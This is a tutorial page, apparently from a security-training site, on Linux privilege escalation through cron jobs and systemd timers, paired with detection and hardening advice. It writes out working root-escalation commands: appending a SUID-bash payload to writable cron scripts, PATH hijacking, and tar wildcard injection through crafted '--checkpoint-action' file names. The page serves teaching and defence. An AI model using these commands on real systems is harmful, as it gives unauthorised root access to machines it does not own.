Skip to content
Pwnversity
LIN-CRONintermediate · 5 min · upd. 2026-10

Cron Jobs and Timers

T1053.003

Cron and systemd timers run scheduled tasks, many of them as root. If one of those tasks runs a script or binary you can modify, uses a relative PATH, or handles wildcards insecurely, you inject your code and get execution as root when the task fires. It’s a classic and very reliable privesc vector because maintenance tasks are often written in a hurry with loose permissions.

flowchart LR
    A["Writable cron script"] -->|"attacker appends payload"| B["Cron fires as root"]
    B --> C["Payload runs as root"]
    C --> D["SUID bash / root reverse shell"]

The attacker needs no credentials: just a privileged task that touches something they control. The result is deferred execution as root (when cron fires). The challenge is finding the task; many aren’t visible in files the user can read, which is why pspy is key.

Ventana de terminal
cat /etc/crontab # system cron (includes the running user)
ls -la /etc/cron.d/ # additional system tasks
ls -la /etc/cron.{hourly,daily,weekly,monthly}/ # scripts by frequency
crontab -l # the current user's crontab
ls -la /var/spool/cron/crontabs/ # per-user crontabs (if readable)
systemctl list-timers --all # systemd timers (modern alternative)

Abuse precondition: the task runs with more privilege than you and executes a resource you can influence (content, path, or arguments).

You don’t always see root’s tasks in the files. pspy reveals them by watching /proc without privileges:

Ventana de terminal
cat /etc/crontab; ls -la /etc/cron.*
./pspy64 -pf -i 1000 # processes and filesystem events live

pspy shows commands, PIDs, and UIDs of running tasks, including root’s that you can’t read.

Ventana de terminal
ls -la /opt/backup.sh # writable by you/your group?
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
# wait for cron to fire it, then:
/tmp/rootbash -p # id -> euid=0

If crontab defines PATH=/home/user:/usr/bin and the task calls backup without a path:

Ventana de terminal
printf '#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb\n' > ~/backup
chmod +x ~/backup # cron runs your ~/backup as root

Vector 3 — wildcard injection (tar, rsync, chown, chmod)

Section titled “Vector 3 — wildcard injection (tar, rsync, chown, chmod)”

If the task uses a wildcard (tar czf backup.tar.gz *) in a directory where you can create files, you abuse the flags the wildcard expands into arguments:

Ventana de terminal
echo 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# when root runs "tar ... *", tar reads the files as flags and runs shell.sh

For rsync there’s -e; for chown/chmod, --reference=.

Vector 4 — referenced but nonexistent script

Section titled “Vector 4 — referenced but nonexistent script”

If the task calls a script that doesn’t exist in a path where you can create it, you create it and wait for the trigger.

Ventana de terminal
cat /etc/systemd/system/*.service # ExecStart pointing to a writable binary/script?
cat /etc/systemd/system/*.timer # trigger cadence

Same abuse: if ExecStart points to something you control, it’s root when it fires.

  • auditd/FIM on /etc/crontab, /etc/cron.d/, /etc/cron.*, /var/spool/cron/, .service/.timer units: alert on creation or modification.
  • auditd on execve of shells/chmod +s spawned by the cron/systemd PID (parent cron/CROND/systemd).
  • Defender-side pspy: in threat hunting, look for tasks running paths in /tmp, /home, or world-writable.

Cron logs (/var/log/syslog, journalctl -u cron), auditd execution and write events on task directories.

  • Absolute paths in tasks and the commands they invoke; secure, explicit PATH in crontab.
  • Cron scripts owned by root and non-writable (chmod 700, root owner); non-writable containing directory.
  • Avoid wildcards in commands running as root over writable directories; use ./* or explicit paths, or find ... -exec.
  • Least privilege: don’t run the task as root unless essential.

A modified cron script or a new .service is usually persistence (see Persistence); compare with baseline, revert, and rotate credentials.

  • Enumerate crontab, /etc/cron.*, cron.d, and systemd timers
  • pspy to see root tasks/processes live
  • Cron scripts writable by you/your group
  • Relative PATH → PATH hijacking
  • Wildcard injection (tar/rsync/chown in a writable dir)
  • Referenced but nonexistent scripts in a writable path
  • Timer ExecStart pointing to something you control
  • Blue: absolute paths, non-writable scripts, no wildcards, FIM?